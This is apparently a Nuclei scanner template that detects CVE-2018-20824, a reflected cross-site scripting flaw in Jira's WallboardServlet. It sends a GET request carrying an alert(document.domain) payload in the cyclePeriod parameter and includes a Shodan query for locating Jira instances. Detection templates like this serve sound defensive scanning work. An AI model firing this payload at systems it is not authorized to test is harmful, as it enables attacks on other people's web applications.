id: CVE-2018-20824

info:
  name: Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting
  author: madrobot,dwisiswant0
  severity: medium
  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the cyclePeriod parameter.
  remediation: |
    Upgrade to Atlassian Jira version 7.13.1 or later to mitigate this vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-69238
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20824
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-20824
    cwe-id: CWE-79
    epss-score: 0.00211
    epss-percentile: 0.58912
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira
    shodan-query: http.component:"Atlassian Jira"
  tags: cve,cve2018,atlassian,jira,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - (?mi)timeout:\salert\(document\.domain\)

      - type: status
        status:
          - 200

# digest: 490a00463044022045927bb68980bfb46533666ce382cc66d72f146c9b92b4576fff5276f16632ac02204a7cceb419c770c1e718a9b40904a06f7648d1485b576273e82b1dc616f1b064:922c64590222798bb761d5b6d8e72950